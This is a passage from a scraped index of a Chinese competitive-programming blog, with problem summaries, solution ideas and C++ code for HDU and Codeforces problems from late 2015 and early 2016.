69 #endif 70 int T; 71 cin\u003e\u003eT; 72 while (T--) 73 { 74 ms(ans,0); 75 ms(vis,false); 76 scanf(\"%d\",\u0026n); 77 for ( int i = 1 ; i \u003c= n ; i++) 78 { 79 Edge[i].clear(); 80 Edge[i].push_back(i); 81 } 82 for ( int i = 1 ; i \u003c= n -1 ; ","date":"2016-01-02","externalUrl":null,"permalink":"/2016/01/hdoj5606/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=5606 题意：一棵树，边权为0或者1，问对于每个点，距离它最近的点（包括自身）的个数是多少。输出将所有点的答案异或后的值。 思路：由于包括自身，自己与自己距离为0，那么最近的点一定也距离为0，所以就是找对于每个点与它相连的边权为0 的点的个数**。建图的时候可以不管边权为1的点。。因为这样的点不会对任何点的答案有贡献。**正解貌似是冰茶几。。我就是dfs搞了下。。找到每一个联通快的点数。。然后把某个联通快的所有点的答案都更新成点的个数。。。","tags":["dfs","tree","图论"],"title":"hdoj 5606 ||bc #68 div 2 B tree","type":"post"},{"categories":["ACM"],"content":"题意：geometry Accepts: 324 Submissions: 622 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) 问题描述 在平面直角坐标系上有一个点PP, 他的坐标是(x, y)(x,y). 有一条直线y = kx + by=kx+b经过了PP, 且分别交x, yx,y正半轴于A, BA,B. 求|PA| * |PB|∣PA∣∗∣PB∣的最小值. 输入描述 第一行一个TT, 表示数据组数. 接下来TT行每行两个正整数x,yx,y, 表示PP的坐标. T=500, 0 \u003c X, Y \\leq 10000T=500,0/* *********************************************** Author :111qqz Created Time :2016年01月02日 星期六 18时56分10秒 File Name :code/bc/#68/1001.cpp ************************************************ */ #include #include #include #include #include #include #include #include #include #include #include #include #define fst first #define sec second #define lson l,m,rt«1 #define rson m+1,r,rt«1|1 #define ms(a,x) memset(a,x,sizeof(a)) typedef long long LL; #define pi pair \u003c int ,int \u003e #define MP make_pair using namespace std; const double eps = 1E-8; const int dx4[4]={1,0,0,-1}; const int dy4[4]={0,-1,1,0}; const int inf = 0x3f3f3f3f; LL x,y; LL b; LL dis(LL a1,LL b1,LL a2,LL b2) { 1LL res = (a1-a2)*(a1-a2)+(b1-b2)*(b1-b2); 2return res; } int main() { 1#ifndef ONLINE_JUDGE // freopen(“code/in.txt”,“r”,stdin); #endif 1int T; 2cin\u003e\u003eT; 3while (T--) 4{ 5 scanf(\"%lld %lld\",\u0026x,\u0026y); 6 b = x + y; 7 LL ans; 8 ans = dis(x,y,0,b)*dis(x,y,b,0); 9 cout\u003c\u003cLL(sqrt(ans))\u003c\u003cendl; 10 11} #ifndef ONLINE_JUDGE fclose(stdin); #endif 1return 0; }","date":"2016-01-02","externalUrl":null,"permalink":"/2016/01/hdoj5605/","section":"Posts","summary":"题意：geometry Accepts: 324 Submissions: 622 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) 问题描述 在平面直角坐标系上有一个点PP, 他的坐标是(x, y)(x,y). 有一条直线y = kx + by=kx+b经过了PP, 且分别交x, yx,y正半轴于A, BA,B. 求|PA| * |PB|∣PA∣∗∣PB∣的最小值. 输入描述 第一行一个TT, 表示数据组数. 接下来TT行每行两个正整数x,yx,y, 表示PP的坐标.","tags":["math"],"title":"hdoj 5605 || bc #68 div 2 1001 geometry","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/611/problem/A 题意：两种查询，一种是 x of week,x为1.。7,对应输出2016年星期x有多少天。另一种为x of month ，对应输出2016年至少有x天的月份有多少天。 思路：直接搞。。。。竟然脑残被hack了。。。sad. 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003ciostream\u003e 4#include \u003calgorithm\u003e 5 6using namespace std; 7const int inf = 0x3f3f3f3f; 8int x; 9char st[25],nouse[33]; 10int main() 11{ 12 13 scanf(\"%d %s %s\",\u0026x,nouse,st); 14 if (st[0]=='w') 15 { 16 if (x==6||x==5) 17 { 18 cout\u003c\u003c53\u003c\u003cendl; 19 } 20 else 21 { 22 cout\u003c\u003c52\u003c\u003cendl; 23 } 24 25 } 26 else 27 { 28 if (x\u003c=29) 29 { 30 puts(\"12\"); 31 } 32 else if (x\u003c=30) 33 { 34 puts(\"11\"); 35 } 36 else 37 { 38 puts(\"7\"); 39 } 40 } 41 42 return 0; 43}","date":"2016-01-01","externalUrl":null,"permalink":"/2016/01/codeforces-goodbye-2015-a-new-year-and-days/","section":"Posts","summary":"http://codeforces.com/contest/611/problem/A 题意：两种查询，一种是 x of week,x为1.。7,对应输出2016年星期x有多少天。另一种为x of month ，对应输出2016年至少有x天的月份有多少天。 思路：直接搞。。。。竟然脑残被hack了。。。sad.","tags":["水题"],"title":"codeforces goodbye 2015 A. New Year and Days","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/611/problem/B 题意：问a到b（1E18），二进制表示中只有一个0的数有多少个。 思路：这么大的数。。。不是有循环节就是math problems. UD:20160318讲道理还有可能是数位dp好不好。。。 我们发现可以很容易得算出1到x的二进制表示中只有一个0 的数有多少个。 problem solved. 20160318update:学了数位dp后又看到这题。。。这题显然是数位dp啊。。。亏我找规律搞了出来2333. 后面附上数位dp方法AC的代码 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月30日 星期三 22时49分02秒 4File Name :code/cf/goodbye2015/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const int N=1E4+7; 30LL a,b; 31LL p[N]; 32LL c[N]; 33LL cal( LL x) 34{ 35 return ((x-1LL)*x)/2LL; 36} 37LL solve (LL x) 38{ 39 if (x==0LL) return 0; 40 LL res= 0LL; 41 LL cnt = 0LL; 42 LL xx = x; 43 while (xx) 44 { 45 cnt++; 46 p[cnt] = xx%2LL; 47 xx/=2LL; 48 } 49 ms(c,0); 50 res+=cal(cnt-1LL); 51 LL tmp = (1LL\u003c\u003ccnt)-1LL; 52 for ( LL i = 0 ; i \u003ccnt-1 ; i++) 53 { 54 LL happ = 1LL\u003c\u003ci; 55 c[i]=tmp-happ; 56 } 57 58 sort(c,c+cnt-1); 59 60 for ( LL i = 0 ; i\u003c cnt -1 ; i++) 61 { 62 if (x\u003e=c[i]) res++; 63 } 64 65 66 return res; 67} 68int main() 69{ 70 71 cin\u003e\u003ea\u003e\u003eb; 72 LL ans = solve(b)-solve(a-1LL); 73 cout\u003c\u003cans\u003c\u003cendl; 74 75 #ifndef ONLINE_JUDGE 76 fclose(stdin); 77 #endif 78 return 0; 79} 数位dp的方法： 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月18日 星期五 16时33分04秒 4File Name :code/cf/problem/611B.cpp 5********","date":"2016-01-01","externalUrl":null,"permalink":"/2016/01/cf611b/","section":"Posts","summary":"http://codeforces.com/contest/611/problem/B 题意：问a到b（1E18），二进制表示中只有一个0的数有多少个。 思路：这么大的数。。。不是有循环节就是math problems. UD:20160318讲道理还有可能是数位dp好不好。。。 我们发现可以很容易得算出1到x的二进制表示中只有一个0 的数有多少个。","tags":["dp","math","number theory","位运算","数位dp"],"title":"cf 611 B ||codeforces goodbye 2015 B. New Year and Old Property (数学或者数位dp)","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/611/problem/C 题意：给出一个n*m的地图，.表示可以空，#表示墙。一个东西需要占两个相邻的格子，问给定一个矩形，放一个东西的方案数。 思路：q很大。。应该是先预处理出来直接调用答案。。。计数问题累加性。。应该是前缀和之类。。需要做的就是怎么标记。。我的做法是竖着放和横着放的个数分开来存。从左往右从上往下，每次标记到后一个点。然后二维的前缀和。然后每次询问的时候，去掉最上边和最左边两条边界上对应的多加的点。 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003ciostream\u003e 4#include \u003calgorithm\u003e 5#include \u003cvector\u003e 6#include \u003cqueue\u003e 7#include \u003cset\u003e 8#include \u003cmap\u003e 9#include \u003cstring\u003e 10 11using namespace std; 12 13const int N=5E2+7; 14char maze[N][N]; 15int n,m; 16int q; 17int a[N][N],b[N][N]; 18int sum[N][N]; 19int sum2[N][N]; 20 21int main() 22{ 23 cin\u003e\u003en\u003e\u003em; 24 memset(a,0,sizeof(a)); 25 memset(b,0,sizeof(b)); 26 for ( int i = 0 ; i\u003c n ;i++ ) scanf(\"%s\",maze[i]); 27 for ( int i = 1 ; i \u003c n ; i++) 28 { 29 for (int j = 0 ; j\u003c m ;j++) 30 { 31 if (maze[i][j]=='.'\u0026\u0026maze[i-1][j]=='.') 32 a[i+1][j+1]++; 33 } 34 } 35 36 for ( int i = 0 ; i \u003c n ; i++) 37 { 38 for ( int j = 1 ; j \u003c m ; j++) 39 { 40 if (maze[i][j]=='.'\u0026\u0026maze[i][j-1]=='.') 41 b[i+1][j+1]++; 42 } 43 } 44 sum[0][0] = 0; 45 sum2[0][0] = 0; 46 for ( int i = 1 ; i \u003c= n ; i++) 47 { 48 for ( int j = 1 ; j\u003c= m ; j++) 49 { 50 sum[i][j] =sum[i-1][j]+sum[i][j-1]-sum[i-1][j-1]+a[i][j]; 51 sum2[i][j] = sum2[i-1][j]+sum2[i][j-1]-sum2[i-1][j-1] + b[i][j]; 52 } 53 } 54 cin\u003e\u003eq; 55 56 while (q--) 57 { 58 int n1,n2,m1,m2; 59 scanf(\"%d %d %d %d\",\u0026n1,\u0026m1,\u0026n2,\u0026m2); 60 int ans = 0 ; 61 ans+=sum[n2][m2]-sum[n1-1][m2]-sum[n2][m1-1]+sum[n1-1][m1-1]; 62 ans+=sum2[n2][m2]-sum2[n1-1][m2]-sum2[n2][m1-1]+sum2[n1-1][m1-1]; 63 for ( int j = m1 ; j \u003c= m2 ;j++) 64 { 65 if (a[n1][j]==1) ans--; 66 } 67 for ( int i = n1 ; i \u003c= n2 ; i++) 68 { 69 if (b[i][m1]==1) ans--; 70 } 71 72 printf(\"%d\\n\",ans); 73 } 74 75 return 0; 76}","date":"2016-01-01","externalUrl":null,"permalink":"/2016/01/cf611a/","section":"Posts","summary":"http://codeforces.com/contest/611/problem/C 题意：给出一个n*m的地图，.表示可以空，#表示墙。一个东西需要占两个相邻的格子，问给定一个矩形，放一个东西的方案数。 思路：q很大。。应该是先预处理出来直接调用答案。。。计数问题累加性。。应该是前缀和之类。。需要做的就是怎么标记。。我的做法是竖着放和横着放的个数分开来存。从左往右从上往下，每次标记到后一个点。然后二维的前缀和。然后每次询问的时候，去掉最上边和最左边两条边界上对应的多加的点。","tags":["前缀和","模拟"],"title":"cf 611 A||codeforces goodbye 2015 C. New Year and Domino","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/22/problem/C 题意：要求用n个点m条边构造一个不允许有重边的图，满足当去掉点v的时候，剩下的n-1个不联通。如果有答案输出任意，没答案输出-1. 思路：首先如果n个点要联通。。至少有n-1条边，此时为一棵树。但是是不是边越多越好呢？显然是不可以的。满足去掉一个点使得n-1个点不联通的情况为，存在一个点u只和v相连，不和任意任何其他点相连，那么当去掉v点，u点就变成不可到达了。边数最多的情况就是，除了v点以外的n-1个点，每个点的度都是n-2(去掉自身以及u点还有n-2个点)，，那么除去u点以外的n-1个点的度数就是（n-1）(n-2)，边数则为(n-1)(n-2)/2，再加一条连接u的边，所以图的最大边数为(n-1)*(n-2)/2+1，最小为n-1. 如果有解，那么接下来的问题是构造。 我是按照如下方式构造的： 先构造一条链，将u点放在第一个，v点放在第二个。不妨当v=1时令u=2,否则u=1; m-=n-1,如果m还有剩余，那么从第二个点开始，一直到第n-2个点，每个点与至少隔1个点的其他点相连，直到边数没有剩余。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月30日 星期三 20时36分06秒 4File Name :code/cf/problem/22C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n,m,v; 35int a[N]; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 cin\u003e\u003en\u003e\u003em\u003e\u003ev; 42 if (m\u003cn-1||m\u003e((n-1)*(n-2)/2+1)) 43 { 44 puts(\"-1\"); 45 return 0; 46 } 47 48 for ( int i = 1 ; i \u003c= n ; i++) 49 { 50 a[i] = i ; 51 if (i==2) 52 { 53 a[i]=v; 54 } 55 if (i==v) 56 { 57 a[i]=2; 58 } 59 } 60 for ( int i = 1 ; i \u003c= n-1 ; i++) 61 { 62 printf(\"%d %d\\n\",a[i],a[i+1]); 63 } 64 m-=n-1; 65 66 int cnt = 0 ; 67 for ( int i = 2 ; i \u003c= n-2 ; i ++) ","date":"2015-12-30","externalUrl":null,"permalink":"/2015/12/cf22c/","section":"Posts","summary":"http://codeforces.com/contest/22/problem/C 题意：要求用n个点m条边构造一个不允许有重边的图，满足当去掉点v的时候，剩下的n-1个不联通。如果有答案输出任意，没答案输出-1. 思路：首先如果n个点要联通。。至少有n-1条边，此时为一棵树。但是是不是边越多越好呢？显然是不可以的。满足去掉一个点使得n-1个点不联通的情况为，存在一个点u只和v相连，不和任意任何其他点相连，那么当去掉v点，u点就变成不可到达了。边数最多的情况就是，除了v点以外的n-1个点，每个点的度都是n-2(去掉自身以及u点还有n-2个点)，，那么除去u点以外的n-1个点的度数就是（n-1）(n-2)，边数则为(n-1)(n-2)/2，再加一条连接u的边，所以图的最大边数为(n-1)*(n-2)/2+1，最小为n-1.","tags":["图论","构造"],"title":"codeforces 22  C. System Administrator","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/29/problem/C 题意：给出n个边的关系，保证可以构成一条链。正向或者反向输出这个链。 思路：由于下标很大(1E9)，而关系个数只有1E5..需要离散化。。而且离散化的同时不能丢失边的关系。。。实际上。。直接用vector+map就好了。。。 map \u003ee;即可。然后找到一个度为1的点。。做个dfs… 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月30日 星期三 19时55分15秒 4File Name :code/cf/problem/29C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34map\u003cint,vector\u003cint\u003e \u003ee; 35map\u003cint,bool\u003evis; 36map\u003cint,int\u003ein; 37map\u003cint,int\u003e::iterator it; 38int beg; 39int n ; 40void dfs( int x) 41{ 42 vis[x] = true; 43 printf(\"%d \",x); 44 for ( int i = 0 ; i \u003c e[x].size() ; i++ ) 45 { 46 int v = e[x][i]; 47 if (!vis[v]) dfs(v); 48 } 49} 50int main() 51{ 52 #ifndef ONLINE_JUDGE 53 freopen(\"code/in.txt\",\"r\",stdin); 54 #endif 55 56 cin\u003e\u003en; 57 vis.clear(); 58 in.clear(); 59 60 61 for ( int i = 1 ; i \u003c= n ; i++) 62 { 63 int u,v; 64 scanf(\"%d %d\",\u0026u,\u0026v); 65 e[u].push_back(v); 66 e[v].push_back(u); 67 in[u]++; 68 in[v]++; 69 } 70 71 for ( it=in.begin() ;it!=in.end();it++) 72 { 73 if (it-\u003esecond ==1) 74 { 75 beg = it-\u003efirst; 76 break; 77 } 78 } 79 dfs(beg); 80 81 #ifndef ONLINE_JUDGE 82 fclose(stdin); 83 #endif 84 return 0; 85}","date":"2015-12-30","externalUrl":null,"permalink":"/2015/12/cf29c/","section":"Posts","summary":"http://codeforces.com/contest/29/problem/C 题意：给出n个边的关系，保证可以构成一条链。正向或者反向输出这个链。 思路：由于下标很大(1E9)，而关系个数只有1E5..需要离散化。。而且离散化的同时不能丢失边的关系。。。实际上。。直接用vector+map就好了。。。 map \u003ee;即可。然后找到一个度为1的点。。做个dfs…","tags":["dfs","map","stl","vector","离散化"],"title":"codeforces 29 C. Mail Stamps","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/31/C 题意：给出n个借用教室的时间安排，可能会有冲突。要求恰好去掉一个时间安排使得剩下的时间安排不冲突。问多多少种方案。 思路：首先一个直觉是。。除非初始就没有任何冲突。。不然这个答案不会很大。。 如果没有任何冲突，那么答案为n，直接输出一遍就好。 以l为第一关键字，r为第二关键字升序sort下。 如果有一个冲突，那么要看是否有包含关系，如果有，需要去掉大的这个，方案数为1.如果只是相交，那么可以去掉任意一个。方案数为2. 如果有两个冲突，我要看这两个冲突涉及到几个时间安排，如果涉及到4个或者时间安排，那么不可能全部解决，die掉。 如果这两个冲突涉及到三个时间安排，也就是说中间的和两段的相交，那么可以取消中间的这个时间安排来解决冲突。方案数为1. 需要注意的是输出的时候要按照原来的顺序。。所以存的时候记得存一下id.因为排序以后会打乱原有。输出之前还要sort下。 忘了这个。。WA#22/。因为按照id未必是从小到大输出的。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月29日 星期二 21时37分11秒 4File Name :code/cf/problem/31C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define lson l,m,rt\u003c\u003c1 20#define rson m+1,r,rt\u003c\u003c1|1 21#define ms(a,x) memset(a,x,sizeof(a)) 22typedef long long LL; 23#define pi pair \u003c int ,int \u003e 24#define MP make_pair 25 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=5E3+7; 32int n ; 33int ans[N]; 34 35struct node 36{ 37 int fst,sec; 38 int id; 39 40 bool operator \u003c(node b)const 41 { 42 if (fst\u003cb.fst) return true; 43 if (fst==b.fst\u0026\u0026sec\u003cb.sec) return true; 44 return false; 45 } 46}a[N]; 47int main() 48{ 49 #ifndef ONLINE_JUDGE 50 freopen(\"code/in.txt\",\"r\",stdin); 51 #endif 52 cin\u003e\u003en; 53 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ea[i].fst\u003e\u003ea[i].sec,a[i].id = i ; 54 55 sort(a+1,a+n+1); 56 57// for ( int i = 1 ; i \u003c= n ; i++) cout\u003c\u003ca[i].fst\u003c\u003cendl; 58 a[n+1].fst = inf; 59 int num = 0 ; 60 bool ill=false,die=false; 61 for ( int i = 1 ; i ","date":"2015-12-29","externalUrl":null,"permalink":"/2015/12/cf31c/","section":"Posts","summary":"http://codeforces.com/problemset/problem/31/C 题意：给出n个借用教室的时间安排，可能会有冲突。要求恰好去掉一个时间安排使得剩下的时间安排不冲突。问多多少种方案。 思路：首先一个直觉是。。除非初始就没有任何冲突。。不然这个答案不会很大。。","tags":["模拟"],"title":"codeforces 31 C. Schedule","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/27/problem/C 题意：给出一个序列，问是否存在一个disordered的子序列。。输出长度并输出组成子序列的下表（1..n）。如果有多组，输出任意一组。 disordered的意思是。。升序或者降序（不严格也可以)之外的情况。 思路： 首先我们可以知道，我们要找的子序列至少需要三个点。因为两个点怎么看都是有序的。而如果有k个点（k\u003e3）组成的子序列存在。。那么机智得去掉其中一些点，可以只剩三个 ，同样满足题意。所以我们只需要找到三个点即可。如果把点以下标为横坐标，值为纵坐标花在坐标系上，就是找一个v型或者倒v型的三个点。 第二，我们可以将找三个点的问题转化成用第一个点+找两个点的问题。我们可以证明，如果解存在，那么包含第一个点的解也一定存在。我们可以用反证法证明，如果我们选了第1个点，然后从第2个点到第n个点。。我们找不到两个点与第一个点构成一个v型，那么整个序列一定是升序或者降序，无解，与前提矛盾。 **需要注意的，判断方向的时候我用了乘，可能会爆int,记得用long long ** 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月29日 星期二 19时36分55秒 4File Name :code/cf/problem/27C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34LL a[N]; 35int n; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39// freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 cin\u003e\u003en; 42 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ea[i]; 43 44 bool ok = true; 45 for ( int i = 2 ; i \u003c= n-1 ;i++) 46 { 47 if ((a[i]-a[1])*(a[i+1]-a[i])\u003c0) //注意long long 48 { 49 ok = false; 50 printf(\"3\\n1 %d %d\\n\",i,i+1); 51 break; 52 } 53 } 54 if (ok) 55 { 56 puts(\"0\"); 57 } 58 59 #ifndef ONLINE_JUDGE 60 fclose(stdin); 61 #endif 62 return 0; 63}","date":"2015-12-29","externalUrl":null,"permalink":"/2015/12/cf27c/","section":"Posts","summary":"http://codeforces.com/contest/27/problem/C 题意：给出一个序列，问是否存在一个disordered的子序列。。输出长度并输出组成子序列的下表（1..n）。如果有多组，输出任意一组。 disordered的意思是。。升序或者降序（不严格也可以)之外的情况。 思路： 首先我们可以知道，我们要找的子序列至少需要三个点。因为两个点怎么看都是有序的。而如果有k个点（k\u003e3）组成的子序列存在。。那么机智得去掉其中一些点，可以只剩三个 ，同样满足题意。所以我们只需要找到三个点即可。如果把点以下标为横坐标，值为纵坐标花在坐标系上，就是找一个v型或者倒v型的三个点。","tags":["brute force"],"title":"codeforces 27 C. Unordered Subsequence","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/30/problem/C 题意：给出n个target在一个二维平面上。给出每个target的坐标，出现的时间，以及击中的概率。target出现之后就会瞬间消失，枪移动的单位速度为1，射击不需要时间。问能击中的target的最大期望是多少。 思路：路径dp。。。按照时间升序排列。 dp[i]表示到第i个target出现的时候的期望。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月29日 星期二 18时14分45秒 4File Name :code/cf/problem/30C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int n; 35double dp[N]; 36int dblcmp(double d) 37{ 38 return d\u003c-eps?-1:d\u003eeps; 39} 40struct point 41{ 42 int x,y,t; 43 double p; 44 45 void input() 46 { 47 scanf(\"%d %d %d\",\u0026x,\u0026y,\u0026t); 48 scanf(\"%lf\",\u0026p); 49 } 50 51 double dis(point p) 52 { 53 return sqrt((x-p.x)*(x-p.x)+(y-p.y)*(y-p.y)); 54 } 55 56 bool operator \u003c(point p)const 57 { 58 return t\u003cp.t; 59 } 60}p[N]; 61int main() 62{ 63 #ifndef ONLINE_JUDGE 64 freopen(\"code/in.txt\",\"r\",stdin); 65 #endif 66 cin\u003e\u003en; 67 for ( int i = 1 ; i \u003c= n ; i++) p[i].input(); 68 69 sort(p+1,p+n+1); 70 71 double ans=0; 72 for ( int i = 1 ; i \u003c= n ; i++) 73 { 74 dp[i] = p[i].p; 75 for ( int j = 1 ; j \u003c i ; j++) 76 { 77 if (dblcmp(p[i].dis(p[j])-p[i].t+p[j].t)\u003c=0) 78 dp[i] = max(dp[i],dp[j]+p[i].p); 79 } 80 ans = max(dp[i],ans); 81 } 82 printf(\"%.10","date":"2015-12-29","externalUrl":null,"permalink":"/2015/12/codeforces-30-c-shooting-gallery/","section":"Posts","summary":"http://codeforces.com/contest/30/problem/C 题意：给出n个target在一个二维平面上。给出每个target的坐标，出现的时间，以及击中的概率。target出现之后就会瞬间消失，枪移动的单位速度为1，射击不需要时间。问能击中的target的最大期望是多少。","tags":["dp","概率","路径dp"],"title":"codeforces 30 C. Shooting Gallery","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/14/C 题意：给出四条边的坐标，问能否形成一个边与坐标轴平行的矩形。边可能退化成点。 思路：首先第一步，检查有没有边退化成点以及是否有不平行的边。 第二步，检查两个方向的边是否各有两条。。 第三步，将所有点的坐标排序。。然后看8个点是否会因为重合而变成4个.。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月29日 星期二 16时28分28秒 4File Name :code/cf/problem/14C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int a,b,c,d; 34int l[10]; 35int cnt; 36 37 38 39struct point 40{ 41 int x,y; 42 43 bool operator \u003c(point p)const 44 { 45 if (x\u003cp.x) return true; 46 if (x==p.x\u0026\u0026y\u003cp.y) return true; 47 return false; 48 } 49 bool ok (point p) 50 { 51 if (x!=p.x\u0026\u0026y!=p.y) return false; //不平行 52 if (x==p.x\u0026\u0026y==p.y) return false; //退化成一点 53 if (x==p.x) cnt++; 54 return true; 55 } 56 57 bool operator ==(point p)const 58 { 59 return x==p.x\u0026\u0026y==p.y; 60 } 61 bool operator !=(point p)const 62 { 63 if (x!=p.x||y!=p.y) return true; 64 return false; 65 } 66}p[10]; 67int main() 68{ 69 #ifndef ONLINE_JUDGE 70 freopen(\"code/in.txt\",\"r\",stdin); 71 #endif 72 73 bool ok=true; 74 cnt = 0 ; 75 for ( int i = 0 ; i \u003c 4 ; i++) 76 { 77 cin\u003e\u003ep[i].x\u003e\u003ep[i].y\u003e\u003ep[i+4].x\u003e\u003ep[i+4].y; 78 if (!p[i].ok(p[i+4])) 79 { 80 ok = false; 81 } 82 } 83 if (!ok||cnt!=2) 84 { 85 puts(\"","date":"2015-12-29","externalUrl":null,"permalink":"/2015/12/codeforces-14-c-four-segments/","section":"Posts","summary":"http://codeforces.com/problemset/problem/14/C 题意：给出四条边的坐标，问能否形成一个边与坐标轴平行的矩形。边可能退化成点。 思路：首先第一步，检查有没有边退化成点以及是否有不平行的边。","tags":["细节题","计算几何"],"title":"codeforces 14 C. Four Segments","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/18/problem/C 题意：将一个序列分成两个非空的部分，保证和相等，问有多少种方法。 